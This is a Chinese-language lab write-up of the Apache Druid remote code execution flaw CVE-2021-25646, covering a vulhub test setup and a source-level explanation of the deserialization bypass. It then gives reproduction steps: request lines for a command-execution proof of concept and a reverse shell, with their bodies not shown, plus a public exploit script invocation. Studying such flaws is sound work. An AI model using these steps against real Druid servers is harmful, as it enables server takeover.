漏洞介绍
Apache Druid:Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Druid作为数据库,最常用于支持以下用例:实时摄取、快速查询和高运行时长。例如,Druid一般用于支持分析型应用程序的GUI,或是需要快速聚合的高并发API后台。Druid最适合用于面向事件的数据。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
漏洞范围
Apache Druid < 0.20.1
漏洞靶场
使用vulhub的靶场
环境为Apache Druid 0.20.0
vulhub-master/Druid/CVE-2021-25646
1 | 启动靶场:docker-compose up -d |
漏洞原理
1.HTTP Server端采用的是Jersey框架,所有的配置信息都由Guice框架在启动的时候进行绑定注入,比如利用的JavaScriptConfig,初始化的时候读取配置文件中的druid.javascript.enabled绑定到JavaScriptConfig的enabled field,这部分是非本地用户不可控的。

src/main/java/org/apache/druid/guice/JavaScriptModule.java#L26-L33
src/main/java/org/apache/druid/initialization/Initialization.java#L408
2.解析用户输入的关键部分:
com.fasterxml.jackson.databind.deser.BeanDeserializer#_deserializeUsingPropertyBased在解析的过程中,会拿解析到的json串中的“键名”去查找当前解析对象中对应的creatorProperty,这步对应的是findCreatorProperty方法,findCreatorProperty方法会去_propertyLookup 这个HashMap中查找”键名”对应的属性,在_propertyLookup中可以看到其中没有用JsonProperty注释修饰的JavaScriptConfig的键为””,要是json串中的键也为””,就能匹配上,取出JavaScriptConfig对应的creatorProperty

C:\Users\LENOVO.m2\repository\org\codehaus\jackson\jackson-mapper-asl\1.9.13\jackson-mapper-asl-1.9.13.jar!\org\codehaus\jackson\map\deser\BeanDeserializer.class#L548-L621(需用Maven下载依赖包)
拿到对应的creatorProperty之后就会将用户输入的json串中这个键对应的根据类型去反序列相应的参数

C:\Users\LENOVO.m2\repository\org\codehaus\jackson\jackson-mapper-asl\1.9.13\jackson-mapper-asl-1.9.13.jar!\org\codehaus\jackson\map\deser\BeanDeserializer.class#L578, L581(需用Maven下载依赖包)
可以看到反序列后这里的值就是用户输入的enabled为true的JavaScriptConfig,之后就会将这个值和对对应的creatorProp绑定起来(最后会绑定到对应的参数上)

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L67-L83
3.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L158-L175
之后传入的function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令。

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L325-L331
漏洞复现
poc
直接发送如下请求即可执行其中的JavaScript代码:
1 | POST /druid/indexer/v1/sampler HTTP/1.1 |
id命令成功执行

反弹shell
1 | POST /druid/indexer/v1/sampler HTTP/1.1 |

poc脚本
yaunsky/cve-2021-25646: Apache Druid 远程代码执行;检测脚本 (github.com)
1 | python cve-2021-25646.py -h http://192.168.159.132:8888 |


参考
阿里云安全获Apache官方致谢 |Apache Druid 远程代码执行漏洞预警(CVE-2021-25646) (qq.com)